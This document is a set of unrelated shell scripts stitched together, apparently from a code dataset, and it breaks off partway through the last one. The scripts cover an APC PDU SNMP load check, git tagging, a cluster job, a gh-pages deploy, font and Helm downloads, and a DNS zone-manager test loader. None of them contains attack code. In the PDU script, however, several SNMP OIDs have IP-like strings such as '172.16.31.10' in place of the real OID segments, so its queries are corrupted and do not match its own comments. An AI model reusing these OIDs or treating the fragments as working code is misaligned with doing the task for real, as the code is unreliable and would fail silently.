\n#.1.3.6.1.4.1.318.1.1.12.2.4.1.1.2.1 <- Multi-Bank B1 Low Load Warning Threshold\n#.1.3.6.1.4.1.318.172.16.31.10.4.1.1.2.2 <- Multi-Bank B2 Low Load Warning Threshold\n#.1.3.6.1.4.1.318.1.1.12.2.2.1.1.2.1 <- Multi-Bank Total Low Load Warning Threshold\n \n#.1.3.6.1.4.1.318.1.1.12.2.4.1.1.3.1 <- Multi-Bank B1 Near Overload Warning Threshold\n#.1.3.6.1.4.1.318.1.1.12.2.4.1.1.3.2 <- Multi-Bank B2 Near Overload Warning Threshold\n#.1.3.6.1.4.1.318.1.1.12.2.2.1.1.3.1 <- Multi-Bank Total Near Overload Warning Threshold\n \n#.1.3.6.1.4.1.318.1.1.12.2.4.1.1.4.1 <- Multi-Bank B1 Overload Alarm Threshold\n#.1.3.6.1.4.1.318.1.1.12.2.4.1.1.4.2 <- Multi-Bank B2 Overload Alarm Threshold\n#.1.3.6.1.4.1.318.172.16.31.10.2.1.1.4.1 <- Multi-Bank Total Overload Alarm Threshold \n \n#Single Bank OID\n#.1.3.6.1.4.1.318.1.1.12.2.3.1.1.2.1 <- Single-Bank Total Load (divide by 10)\n \n#.1.3.6.1.4.1.318.1.1.12.2.2.1.1.2.1 <- Single-Bank Low Load Warning Threshold\n#.1.3.6.1.4.1.318.1.1.12.2.2.1.1.3.1 <- Single-Bank Near Overload Warning Threshold\n#.1.3.6.1.4.1.318.1.1.12.2.2.1.1.4.1 <- Single-Bank Overload Alarm Threshold\n \n#.1.3.6.1.4.1.318.1.1.12.1.5.0 = PDU Model number, dual AP8953, single AP7954\n \n#Print out command line options\nusage() { echo \"Usage:- check_apcpowerstrip.sh (for multi bank PDU only)\" 1>&2; exit 1; }\n \n#Check we have some arguments passed\nif [ -z \"$1\" ] ; then\n usage\n exit 4\nfi\n \n \nHOSTNAME=$1\nCOMMSTRING=$2\n#Only for multibank powerstrip\nBANK=$3\n \nSNMPGET=/usr/bin/snmpget\n \nMODEL=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.58.3.5.0 | cut -d: -f4 | cut -d\" \" -f2 | sed 's/^\\\"\\(.*\\)\\\"$/\\1/' `\n#echo ${MODEL}\n \nif [ -z \"${MODEL}\" ]; then\n echo \"UNKNOWN - An error has occurred communicating with the PDU.\"\n exit 3\nfi\n \n \nif [ ${MODEL} == \"AP7951\" ] || [ ${MODEL} == \"AP7954\" ]\nthen\n TYPE='SINGLEBANK'\n TOTALLOADRAW=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.3.1.1.2.1 | cut -d: -f4 | cut -d\" \" -f2 `\n TOTALLOAD=`echo \"scale = 2; $TOTALLOADRAW / 10\" | bc -l`\n WARNINGTHRESHOLD=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.2.1.1.3.1 | cut -d: -f4 | cut -d\" \" -f2 `\n CRITICALTHRESHOLD=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.2.1.1.4.1 | cut -d: -f4 | cut -d\" \" -f2 `\n #echo \"TLr=${TOTALLOADRAW}, TL=${TOTALLOAD}, w=${WARNINGTHRESHOLD}, c=${CRITICALTHRESHOLD} \"\n \n if [[ \"$TOTALLOADRAW\" -lt $(($WARNINGTHRESHOLD * 10)) ]]; then\n echo \"OK - ${MODEL}, Total Load is ${TOTALLOAD}A.\"\n exit 0\n elif [[ \"$TOTALLOADRAW\" -le $(($CRITICALTHRESHOLD * 10 )) ]]; then\n echo \"WARNING - ${MODEL}, Total Load is ${TOTALLOAD}A, warning is ${WARNINGTHRESHOLD}A.\"\n exit 1\n elif [[ \"$TOTALLOADRAW\" -ge $(($CRITICALTHRESHOLD * 10 )) ]]; then\n echo \"CRITICAL - ${MODEL}, Total Load is ${TOTALLOAD}A, critical is ${CRITICALTHRESHOLD}A.\"\n exit 2\n else\n echo \"UNKNOWN - Total Load is not known.\"\n exit 3\n fi\n \nelif [ ${MODEL} == \"AP7922\" ] || [ ${MODEL} == \"AP8953\" ]\nthen\n TYPE='DUALBANK'\n \n case ${BANK} in\n B1|b1)\n #Bank B1 load\n BANK1LOADRAW=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.3.1.1.2.2 | cut -d: -f4 | cut -d\" \" -f2 `\n BANK1LOAD=`echo \"scale = 2; $BANK1LOADRAW / 10\" | bc -l`\n B1WARNINGTHRESHOLD=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.4.1.1.3.1 | cut -d: -f4 | cut -d\" \" -f2 `\n B1CRITICALTHRESHOLD=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.4.1.1.4.1 | cut -d: -f4 | cut -d\" \" -f2 `\n #echo \"TLAr=${BANK1LOADRAW}, TL=${BANK1LOAD}, w=${B1WARNINGTHRESHOLD}, c=${B1CRITICALTHRESHOLD} \"\n \n if [[ \"$BANK1LOADRAW\" -lt $(($B1WARNINGTHRESHOLD * 10)) ]]; then\n echo \"OK - ${MODEL}, Bank B1 load is ${BANK1LOAD}A.\"\n exit 0\n elif [[ \"$BANK1LOADRAW\" -le $(($B1CRITICALTHRESHOLD * 10 )) ]]; then\n echo \"WARNING - ${MODEL}, Bank B1 load is ${BANK1LOAD}A, warning is ${B1WARNINGTHRESHOLD}A.\"\n exit 1\n elif [[ \"$BANK1LOADRAW\" -ge $(($B1CRITICALTHRESHOLD * 10 )) ]]; then\n echo \"CRITICAL - ${MODEL}, Bank B1 load is ${BANK1LOAD}A, critical is ${B1CRITICALTHRESHOLD}A.\"\n exit 2\n else\n echo \"UNKNOWN - Bank B1 load is not known.\"\n exit 3\n fi\n #end of bank B1 case\n ;;\n \n B2|b2)\n #Bank B2 load\n BANK2LOADRAW=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.3.1.1.2.3 | cut -d: -f4 | cut -d\" \" -f2 `\n BANK2LOAD=`echo \"scale = 2; $BANK2LOADRAW / 10\" | bc -l`\n B2WARNINGTHRESHOLD=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.4.1.1.3.2 | cut -d: -f4 | cut -d\" \" -f2 `\n B2CRITICALTHRESHOLD=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.4.1.1.4.2 | cut -d: -f4 | cut -d\" \" -f2 `\n #echo \"TLAr=${BANK2LOADRAW}, TL=${BANK2LOAD}, w=${B2WARNINGTHRESHOLD}, c=${B2CRITICALTHRESHOLD} \"\n \n if [[ \"$BANK2LOADRAW\" -lt $(($B2WARNINGTHRESHOLD * 10)) ]]; then\n echo \"OK - ${MODEL}, Bank B2 load is ${BANK2LOAD}A.\"\n exit 0\n elif [[ \"$BANK2LOADRAW\" -le $(($B2CRITICALTHRESHOLD * 10 )) ]]; then\n echo \"WARNING - ${MODEL}, Bank B2 load is ${BANK2LOAD}A, warning is ${B2WARNINGTHRESHOLD}A.\"\n exit 1\n elif [[ \"$BANK2LOADRAW\" -ge $(($B2CRITICALTHRESHOLD * 10 )) ]]; then\n echo \"CRITICAL - ${MODEL}, Bank B2 load is ${BANK2LOAD}A, critical is ${B2CRITICALTHRESHOLD}A.\"\n exit 2\n else\n echo \"UNKNOWN - Bank B2 load is not known.\"\n exit 3\n fi\n #end of bank B2 case\n ;;\n \n *)\n #Total A+B load\n TOTALLOADRAW=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.1.1.12.2.3.1.1.2.1 | cut -d: -f4 | cut -d\" \" -f2 `\n TOTALLOAD=`echo \"scale = 2; $TOTALLOADRAW / 10\" | bc -l`\n WARNINGTHRESHOLD=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.2.1.1.3.1 | cut -d: -f4 | cut -d\" \" -f2 `\n CRITICALTHRESHOLD=`${SNMPGET} -v1 -c ${COMMSTRING} ${HOSTNAME} SNMPv2-SMI::enterprises.318.172.16.31.10.2.1.1.4.1 | cut -d: -f4 | cut -d\" \" -f2 `\n #echo \"TLr=${TOTALLOADRAW}, TL=${TOTALLOAD}, w=${WARNINGTHRESHOLD}, c=${CRITICALTHRESHOLD} \"\n \n if [[ \"$TOTALLOADRAW\" -lt $(($WARNINGTHRESHOLD * 10)) ]]; then\n echo \"OK - ${MODEL}, Total Load is ${TOTALLOAD}A.\"\n exit 0\n elif [[ \"$TOTALLOADRAW\" -le $(($CRITICALTHRESHOLD * 10 )) ]]; then\n echo \"WARNING - ${MODEL}, Total Load is ${TOTALLOAD}A, warning is ${WARNINGTHRESHOLD}A.\"\n exit 1\n elif [[ \"$TOTALLOADRAW\" -ge $(($CRITICALTHRESHOLD * 10 )) ]]; then\n echo \"CRITICAL - ${MODEL}, Total Load is ${TOTALLOAD}A, critical is ${CRITICALTHRESHOLD}A.\"\n exit 2\n else\n echo \"UNKNOWN - Total Load is not known.\"\n exit 3\n fi\n ;;\n #end of case statement\n esac\nelse\n echo \"No Match for PDU found.\"\n TYPE='UNKNOWN'\n exit 3\nfi\n \necho ${TYPE}\n \nexit 0"} {"text": "#!/bin/sh\nversion=${INPUT_PREFIX}$($INPUT_ONLY_MAJOR_VERSION && (cat VERSION | cut -d. -f1) || cat VERSION)${INPUT_SUFFIX}\nmessage=$(echo $INPUT_MESSAGE | sed s/__VERSION__/$version/g)\ngit config user.name || git config --local user.name $(git log -1 --pretty=format:'%an')\ngit config user.email || git config --local user.email $(git log -1 --pretty=format:'%ae')\nif $INPUT_FORCE; then\n git tag -af $version -m \"$message\" && git push -f origin $version\nelse\n git ls-remote --exit-code --tags origin $version > /dev/null 2>&1 || (git tag -a $version -m \"$message\" && git push origin $version)\nfi\necho \"::set-output name=tag::$version\""} {"text": "#!/bin/sh \n\npython dump.py --archive_path model.tar.gz --dev_path \"dataset/train_spider.json\""} {"text": "scripts/workers/run-taxoner.sh\n#!/usr/bin/env bash\n\n#PBS -W group_list=bhurwitz\n#PBS -q standard\n#PBS -l jobtype=cluster_only\n#PBS -l select=1:ncpus=12:mem=23gb\n#PBS -l pvmem=46gb\n#PBS -l place=pack:shared\n#PBS -l walltime=72:00:00\n#PBS -l cput=72:00:00\n#PBS -M \n#PBS -m bea\n\ncd $PBS_O_WORKDIR\nCONFIG=\"$PRJ_DIR/scripts/config.sh\"\n\nif [ -e $CONFIG ]; then\n . \"$CONFIG\"\nelse\n echo MIssing config \\\"$CONFIG\\\"\n exit 12385\nfi\n\nCOMMON=\"$WORKER_DIR/common.sh\"\n\nif [ -e $COMMON ]; then\n . \"$COMMON\"\nelse\n echo Missing common \\\"$COMMON\\\"\n exit 1\nfi\n\nPROG=`basename $0 \".sh\"`\n#Just going to put stdout and stderr together into stdout\nSTDOUT_DIR=\"$CWD/out/$PROG\"\n\ninit_dir \"$STDOUT_DIR\"\n\nTMP_FILES=$(mktemp)\n\nget_lines $FILES_TO_PROCESS $TMP_FILES $PBS_ARRAY_INDEX $STEP_SIZE\n\nNUM_FILES=$(lc $TMP_FILES)\n\necho Found \\\"$NUM_FILES\\\" files to process\n\nwhile read FASTA; do\n FULLPATH=$SPLIT_FA_DIR/$FASTA\n \n OUT_DIR=$TAXONER_OUT_DIR/$FASTA\n\n if [[ ! -d \"$OUT_DIR\" ]]; then\n mkdir -p \"$OUT_DIR\"\n fi\n \n if [[ -z $(find $OUT_DIR -iname Taxonomy.txt) ]]; then\n echo \"Processing $FASTA\"\n else\n echo \"Taxonomy.txt already exists, skipping...\"\n continue\n fi\n\n taxoner64 -t 12 \\\n --dbPath $BOWTIEDB \\\n --taxpath $TAXA \\\n --seq $FULLPATH \\\n --output $OUT_DIR \\\n --fasta \\\n -y $PRJ_DIR/scripts/extra_commands.txt\n\ndone < \"$TMP_FILES\""} {"text": "jfroom/poc-angular-minesweeper\n#!/bin/bash\nif [ ! -z \"$BRANCH\" ] && [ \"$BRANCH\" != \"$TRAVIS_BRANCH\" ]; then\n echo -e \"\\033[33m Not for this $TRAVIS_BRANCH branch.\"\n exit 1\nfi\n\nif [ -z \"$REPO\" ]\nthen\n REPO=$(git config --get remote.origin.url)\nelse\n author=$(git log -1 --pretty=%an)\n git config --global user.name \"$author\"\n email=$(git log -1 --pretty=%ae)\n git config --global user.email \"$email\"\nfi\nmessage=$(git log -1 --pretty=%B)\n\nif [ ! -d \"dist\" ]; then\n echo -e \"\\033[31m You must run \\\"grunt build\\\" before commit to gh-pages.\"\n exit 1\nfi\n\ncd dist\nrm -rf .git\ngit init\ngit remote add origin $REPO > /dev/null 2>&1\ngit push origin --delete gh-pages > /dev/null 2>&1\ngit checkout -b gh-pages\ngit add --all\ngit commit -m \"$message\"\ngit push origin gh-pages -f > /dev/null 2>&1\ncd .."} {"text": "#!/bin/bash\n\npython3 -m venv venv\n. ./venv/bin/activate\npip install --upgrade pip\npip install freetype-py\n\ncurl https://raw.githubusercontent.com/google/fonts/main/ofl/sourcesanspro/SourceSansPro-Regular.ttf -o SourceSansPro-Regular.ttf\ncurl https://raw.githubusercontent.com/google/fonts/main/ofl/sourcesanspro/SourceSansPro-Bold.ttf -o SourceSansPro-Bold.ttf\ncurl https://raw.githubusercontent.com/google/fonts/main/ofl/sourcesanspro/SourceSansPro-Italic.ttf -o SourceSansPro-Italic.ttf\ncurl https://raw.githubusercontent.com/google/fonts/main/ofl/sourcesanspro/SourceSansPro-BoldItalic.ttf -o SourceSansPro-BoldItalic.ttf\n\ncurl https://raw.githubusercontent.com/googlefonts/opensans/ebedbda589fe5bd861b02325aca98c86ad845251/fonts/ttf/OpenSans-Regular.ttf -o OpenSans-Regular.ttf\ncurl https://raw.githubusercontent.com/googlefonts/opensans/ebedbda589fe5bd861b02325aca98c86ad845251/fonts/ttf/OpenSans-Bold.ttf -o OpenSans-Bold.ttf\ncurl https://raw.githubusercontent.com/googlefonts/opensans/ebedbda589fe5bd861b02325aca98c86ad845251/fonts/ttf/OpenSans-Italic.ttf -o OpenSans-Italic.ttf\ncurl https://raw.githubusercontent.com/googlefonts/opensans/ebedbda589fe5bd861b02325aca98c86ad845251/fonts/ttf/OpenSans-BoldItalic.ttf -o OpenSans-BoldItalic.ttf\n\n\npython3 fontconvert.py regular_font 18 SourceSansPro-Regular.ttf OpenSans-Regular.ttf --two-color --compress > ../lib/Fonts/regular_font.h\npython3 fontconvert.py bold_font 18 SourceSansPro-Bold.ttf OpenSans-Bold.ttf --two-color --compress > ../lib/Fonts/bold_font.h\npython3 fontconvert.py italic_font 18 SourceSansPro-Italic.ttf OpenSans-Italic.ttf --two-color --compress > ../lib/Fonts/italic_font.h\npython3 fontconvert.py bold_italic_font 18 SourceSansPro-BoldItalic.ttf OpenSans-BoldItalic.ttf --two-color --compress > ../lib/Fonts/bold_italic_font.h"} {"text": "hack/tag-ci-image.sh\n#! /bin/bash\n\necho \"Jenkins image from CI pipeline:jenkins: ${JENKINS_IMAGE}\"\nif [[ -z ${JENKINS_IMAGE} ]]; then\n echo \"No jenkins image env var found, not overriding jenkins imagestream for e2e test of jenkins-client-plugin.\"\nelse\n echo \"Tagging the CI generated Jenkins image ${JENKINS_IMAGE} from pipeline:jenkins into the test cluster's jenkins imagestream in the openshift namespace\"\n echo \"Current contents of the jenkins imagestream in the openshift namespace\"\n oc describe is jenkins -n openshift\n echo \"Tagging ${JENKINS_IMAGE} into the jenkins imagestream in the openshift namespace\"\n oc tag --source=docker ${JENKINS_IMAGE} openshift/jenkins:2\n # give some time for the image import to finish; watching from the CLI is non-trivial\n sleep 30\n echo \"New contents of the jenkins imagestream in the openshift namespace\"\n oc describe is jenkins -n openshift\nfi"} {"text": "#! /bin/bash\n#\n# A simple script to load the database.\n\nZMGR=./zonemanager.py\nWORKDIR=test\nADDR=127.0.0.1:8088\nBASE=http://$ADDR\n\napi() {\n\tcurl -X $1 -H \"Authorization: Bearer $TOKEN\" http://$ADDR$2\n}\n\nvapi() {\n\tcurl -v -X $1 -H \"Authorization: Bearer $TOKEN\" http://$ADDR$2\n}\n\napi_put() {\n\tcurl -H \"Authorization: Bearer $TOKEN\" \\\n\t\t-H 'Content-Type: application/json' \\\n\t\t-X PUT \\\n\t\t--data-raw \"$2\" \\\n\t\thttp://$ADDR$1\n}\n\nmkdir -p $WORKDIR\n$ZMGR init -f\n$ZMGR add-environment -e default -n ns.lightest.nlnetlabs.nl. \\\n\t-r \"echo foo\" \\\n\t-c $WORKDIR/nsd.zones.conf -k $WORKDIR/private_key.tmp\n$ZMGR add-zone -e default -a lightest.nlnetlabs.nl.\n$ZMGR add-record -e default -a lightest.nlnetlabs.nl. \\\n\tlightest.nlnetlabs.nl. A 127.0.0.1 127.0.0.2\nTOKEN=`$ZMGR create-token -e default default lightest.nlnetlabs.nl.`\ncoproc $ZMGR server -e default\nsleep 1\napi GET /status\napi_put /names/scheme..lightest.nlnetlabs.nl./trust-list \\\n\t'{\"url\":\"http://lightest.nletlabs.nl/\",\"certificate\":[{\"data\":\"1234567890123456789012345678901234567890123456789012345678901234\"}]}'\nwhile true ; do\napi_put /names/scheme.lightest.nlnetlabs.nl./trust-list \\\n\t'{\"url\":\"http://lightest.nletlabs.nl/\",\"certificate\":[{\"data\":\"1234567890123456789012345678901234567890123456789012345678901234\"}]}'\ndone\necho PUT /names/scheme.lightest.nlnetlabs.nl./trust-list broken\napi_put /names/scheme.lightest.nlnetlabs.nl./trust-list \\\n\t'{\"url\":\"http://lightest.nletlabs.nl/\",\"certificate\":[{\"data\":\"\"}]}'\necho GET /names/scheme.lightest.nlnetlabs.nl./trust-list\napi GET /names/scheme.lightest.nlnetlabs.nl./trust-list\necho\napi DELETE /names/scheme.lightest.nlnetlabs.nl./trust-list\napi_put /names/scheme.lightest.nlnetlabs.nl./trust-list \\\n\t'{\"url\":\"http://lightest.nletlabs.nl/\",\"certificate\":[{\"data\":\"1234567890123456789012345678901234567890123456789012345678901234\"}]}'\n$ZMGR resign\napi_put /names/trustservice.lightest.nlnetlabs.nl./schemes \\\n\t'{\"schemes\": [ \"some.scheme.com\", \"sööome.other.scheme.com\" ] }'\napi_put /names/trustservice.lightest.nlnetlabs.nl./schemes \\\n\t'{\"schemes\": [ \"some.scheme.com\", \"some.other.scheme.com\" ] }'\napi GET /names/trustservice.lightest.nlnetlabs.nl./schemes\napi DELETE /names/trustservice.lightest.nlnetlabs.nl./schemes \napi DELETE /names/trustservice.lightest.nlnetlabs.nl./schemes \napi GET /names/trustservice.lightest.nlnetlabs.nl./schemes\napi_put /names/trustservice.lightest.nlnetlabs.nl./schemes \\\n\t'{\"schemes\": [ \"some.scheme.com\", \"some.other.scheme.com\" ] }'\n\nkill $COPROC_PID\nsleep 1"} {"text": "#!/bin/sh\ncargo install cargo-watch\ncargo install wasm-pack"} {"text": "#!/bin/bash\nprosv5 make\nprosv5 upload --slot 2\nprosv5 v5 run 2\nprosv5 terminal"} {"text": "#/bin/bsah\n#author nuanxiansheng\n#date 201804013\n#just for a github test\n#DATE/TIME\nCDATE=$(date \"+%Y-%m-%d\")\nCTIME=$(date \"+%Y-%m-%d-%H-%M\")\n\n#shell\nwww_dir=\"/var/www/html\"\ncode_dir=\"/data/servers/deploy/code/demo\"\ntar_dir=\"/data/servers/deploy/tar\"\nconfig_dir=\"/data/servers/deploy/config\"\ntmp_dir=\"/data/servers/deploy/tmp\"\n\nusage() {\n\t\techo $\"Usage: $0 [deploy | rollback-list | rollback-pro ver]\"\n}\n\ngit_pull_pro() {\n\techo \"git pull begin.............\"\n\tcd \"$code_dir\" && git pull\n\tapi_verl=$(git show | grep commit | cut -d ' ' -f2)\n\tapi_ver=$(echo ${api_verl:0:6})\n\t/bin/cp -r \"$code_dir\" \"$tmp_dir\"\n\n}\n\nconfig_pro() { \n\techo \"cp config begin.............\"\n\tcp \"$config_dir\"/* \"$tmp_dir\"/demo/\n\ttar_ver=\"$api_ver\"-\"$CTIME\"\n\tcd $tmp_dir && mv demo pro_demo_\"$tar_ver\"\t\n}\n\ntar_pro() {\n\techo \"tar begin..........\"\n\tcd $tmp_dir && tar -czf pro_demo_\"$tar_ver\".tar.gz pro_demo_\"$tar_ver\"\n\techo \"pro_demo_\"$tar_ver\".tar.gz tar end ...............\"\t\t\t\n}\n\nscp_pro() {\n\t\techo \"scp begin.............\"\n\t\t/bin/cp $tmp_dir/pro_demo_\"$tar_ver\".tar.gz /tmp\n\n}\n\ndeploy_pro() {\n\techo \"deploy_pro begin.............\"\n\tcd /tmp && tar -zxf pro_demo_\"$tar_ver\".tar.gz\n\trm -f $www_dir/demo\n\tln -s /tmp/pro_demo_\"$tar_ver\" $www_dir/demo\n\n}\n\ntest_pro() {\n\techo \"test begin....................\"\n\techo \"test Ok ......................\"\n}\n\nrollback_list() {\n\tls -l /tmp/*.tar.gz\n}\n\nrollback_pro() {\n\tif [ ! -d \"/tmp/$1\" ];then\n\t\techo \"rollback$1 ------------failed !\"\n\t\techo \"$1 not exits,you can rollback_list to make sure\"\n\telse\n\t\trm -f $www_dir/demo\n\t\tln -s /tmp/$1 $www_dir/demo\n\t\techo \"rollback$1 ----------------Ok\"\n\tfi\n}\n\nmain() {\ncase $1 in \n\tdeploy)\n\t\tgit_pull_pro;\n\t\tconfig_pro;\n\t\ttar_pro;\n\t\tscp_pro;\n\t\tdeploy_pro;\n\t\ttest_pro;\n\t\t;;\n\trollback-list)\n\t\trollback_list;\t\n\t\t;;\n\trollback-pro)\n\t\trollback_pro $2;\n\t\t;;\n\t*)\n\tusage;\nesac\n}\nmain $1 $2"} {"text": "#!/bin/bash\nsource virtualEnv/bin/activate\ncd Django/mysite/\nnohup python manage.py getCurrentWeather &> logCurrentWeatherJob.out &\nnohup python manage.py getLastWeekEarthquakes &> loglastWeekEarthquakes.out &\nnohup python manage.py getLastWeekEarthquakesHeatMap &> logLastWeekEarthquakesHeatMap.out &\nnohup python manage.py demoGTFS &> logDemoGTFS.out &"} {"text": "#!/bin/sh\n\nexport PYTHONPATH=PYTHONPATH:../BridgePython/\npython tests.py"} {"text": "#! /bin/sh\necho 'run sentiment_analysis.py'\npython3 sentiment_analysis.py"} {"text": "#!/bin/bash\n\nset -ex\n\nsource $(dirname $0)/tf_tc-vars.sh\n\npushd ${DS_ROOT_TASK}/DeepSpeech/ds/tensorflow/\n BAZEL_BUILD=\"bazel ${BAZEL_OUTPUT_USER_ROOT} build -s --explain bazel_monolithic_tf.log --verbose_explanations --experimental_strict_action_env --config=monolithic\"\n\n # Start a bazel process to ensure reliability on Windows and avoid:\n # FATAL: corrupt installation: file 'c:\\builds\\tc-workdir\\.bazel_cache/install/6b1660721930e9d5f231f7d2a626209b/_embedded_binaries/build-runfiles.exe' missing.\n bazel ${BAZEL_OUTPUT_USER_ROOT} info\n\n # Force toolchain sync (useful on macOS ?)\n bazel ${BAZEL_OUTPUT_USER_ROOT} sync --configure\n\n MAYBE_DEBUG=$2\n OPT_OR_DBG=\"-c opt\"\n if [ \"${MAYBE_DEBUG}\" = \"dbg\" ]; then\n\tOPT_OR_DBG=\"-c dbg\"\n fi;\n\n case \"$1\" in\n \"--linux-cpu\"|\"--darwin-cpu\"|\"--windows-cpu\")\n echo \"\" | TF_NEED_CUDA=0 ./configure && ${BAZEL_BUILD} ${OPT_OR_DBG} ${BAZEL_OPT_FLAGS} ${BAZEL_EXTRA_FLAGS} ${BUILD_TARGET_LIB_CPP_API} ${BUILD_TARGET_LITE_LIB}\n ;;\n \"--linux-cuda\"|\"--windows-cuda\")\n eval \"export ${TF_CUDA_FLAGS}\" && (echo \"\" | TF_NEED_CUDA=1 ./configure) && ${BAZEL_BUILD} ${OPT_OR_DBG} ${BAZEL_CUDA_FLAGS} ${BAZEL_EXTRA_FLAGS} ${BAZEL_OPT_FLAGS} ${BUILD_TARGET_LIB_CPP_API}\n ;;\n \"--linux-arm\")\n echo \"\" | TF_NEED_CUDA=0 ./configure && ${BAZEL_BUILD} ${OPT_OR_DBG} ${BAZEL_ARM_FLAGS} ${BAZEL_EXTRA_FLAGS} ${BUILD_TARGET_LITE_LIB}\n ;;\n \"--linux-arm64\")\n echo \"\" | TF_NEED_CUDA=0 ./configure && ${BAZEL_BUILD} ${OPT_OR_DBG} ${BAZEL_ARM64_FLAGS} ${BAZEL_EXTRA_FLAGS} ${BUILD_TARGET_LITE_LIB}\n ;;\n \"--android-armv7\")\n echo \"\" | TF_SET_ANDROID_WORKSPACE=1 ./configure && ${BAZEL_BUILD} ${OPT_OR_DBG} ${BAZEL_ANDROID_ARM_FLAGS} ${BAZEL_EXTRA_FLAGS} ${BUILD_TARGET_LITE_LIB}\n ;;\n \"--android-arm64\")\n echo \"\" | TF_SET_ANDROID_WORKSPACE=1 ./configure && ${BAZEL_BUILD} ${OPT_OR_DBG} ${BAZEL_ANDROID_ARM64_FLAGS} ${BAZEL_EXTRA_FLAGS} ${BUILD_TARGET_LITE_LIB}\n ;;\n \"--ios-arm64\")\n echo \"\" | TF_NEED_CUDA=0 TF_CONFIGURE_IOS=1 ./configure && ${BAZEL_BUILD} ${OPT_OR_DBG} ${BAZEL_IOS_ARM64_FLAGS} ${BUILD_TARGET_LITE_LIB}\n ;;\n \"--ios-x86_64\")\n echo \"\" | TF_NEED_CUDA=0 TF_CONFIGURE_IOS=1 ./configure && ${BAZEL_BUILD} ${OPT_OR_DBG} ${BAZEL_IOS_X86_64_FLAGS} ${BUILD_TARGET_LITE_LIB}\n ;;\n esac\n\n bazel ${BAZEL_OUTPUT_USER_ROOT} shutdown\npopd"} {"text": "#!/usr/bin/env bash\n\n# Exit on error\nset -e\n\n# Install Iter8 controller manager\nkubectl apply -f https://github.com/iter8-tools/iter8-controller/releases/latest/download/iter8-controller.yaml\n\n# Build a new Iter8-analytics image based on the new code\nIMG=iter8-analytics:test make docker-build\n\n# Install Helm\ncurl -fsSL https://get.helm.sh/helm-v2.16.7-linux-amd64.tar.gz | tar xvzf - && sudo mv linux-amd64/helm /usr/local/bin\n\n# Create new Helm template based on the new image\nhelm template install/kubernetes/helm/iter8-analytics/ --name iter8-analytics \\\n--set image.repository=iter8-analytics \\\n--set image.tag=test \\\n--set image.pullPolicy=IfNotPresent \\\n> install/kubernetes/iter8-analytics.yaml\n\ncat install/kubernetes/iter8-analytics.yaml\n\n# Install Iter8-analytics\nkubectl apply -f install/kubernetes/iter8-analytics.yaml\n\n# Check if Iter8 pods are all up and running. However, sometimes\n# `kubectl apply` doesn't register for `kubectl wait` before, so\n# adding 1 sec wait time for the operation to fully register\nsleep 1\nkubectl wait --for=condition=Ready pods --all -n iter8 --timeout=300s\nkubectl -n iter8 get pods"} {"text": "1-10\n#!/usr/bin/env bash\n\nCABAL=cabal\n\nset -euo pipefail\n\n# readlink on os x, doesn't support -f, to prevent the\n# need of installing coreutils (e.g. through brew, just\n# for readlink, we use the follownig substitute.\n#\n# source: http://stackoverflow.com/a/1116890\nfunction rl {\n TARGET_FILE=\"$1\"\n\n cd \"$(dirname \"$TARGET_FILE\")\"\n TARGET_FILE=\"$(basename \"$TARGET_FILE\")\"\n\n # Iterate down a (possible) chain of symlinks\n while [ -L \"$TARGET_FILE\" ]\n do\n TARGET_FILE=\"$(readlink \"$TARGET_FILE\")\"\n cd \"$(dirname \"$TARGET_FILE\")\"\n TARGET_FILE=\"$(basename \"$TARGET_FILE\")\"\n done\n\n # Compute the canonicalized name by finding the physical path\n # for the directory we're in and appending the target file.\n PHYS_DIR=\"$(pwd -P)\"\n RESULT=\"$PHYS_DIR/$TARGET_FILE\"\n echo \"$RESULT\"\n}\n\nabsoluteRoot=\"$(dirname \"$(rl \"$0\")\")\"\ncd \"$absoluteRoot\"\n\nif ! type \"$CABAL\" > /dev/null; then\n echo \"Please make sure 'cabal' is in your PATH\"\n exit 2\nfi\n\nCABVERSTR=$(\"$CABAL\" --numeric-version)\n\nCABVER=( ${CABVERSTR//./ } )\n\nif [ \"${CABVER[0]}\" -gt 2 -o \"${CABVER[0]}\" -eq 2 -a \"${CABVER[1]}\" -ge 1 ]; then\n # New enough Cabal version detected, so let's use the superior new-build + new-run\n # modes. Note that pre-2.1 Cabal does not support passing additional parameters\n # to the executable (hadrian) after the separator '--', see #438.\n\n \"$CABAL\" new-build --disable-profiling --disable-documentation -j exe:hadrian\n \"$CABAL\" new-run hadrian -- \\\n --lint \\\n --directory \"$absoluteRoot/..\" \\\n \"$@\"\n\nelse\n # The logic below is quite fragile, but it's better than nothing for pre-2.1 Cabal.\n echo \"Old pre cabal 2.1 version detected. Falling back to legacy 'cabal sandbox' mode.\"\n\n # Initialize sandbox if necessary\n if ! ( \"$CABAL\" sandbox hc-pkg list > /dev/null 2>&1); then\n \"$CABAL\" sandbox init\n \"$CABAL\" sandbox add-source ../libraries/Cabal/Cabal\n fi\n\n \"$CABAL\" install \\\n\t--dependencies-only \\\n\t--disable-library-profiling \\\n\t--disable-shared\n\n \"$CABAL\" run hadrian -- \\\n --lint \\\n --directory \"$absoluteRoot/..\" \\\n \"$@\"\nfi"} {"text": "camilin87/toxicbin/start_toxic_server.sh\n#!/bin/bash -l\n# ###########################\n# Starts the toxic UI server \n# ###########################\nif ! ps -ef | grep toxic-ui | grep -v grep > /dev/null 2>&1; then\n SEMAPHORE_FILE=$TOXIC_HOME/conf/no_restart\n if 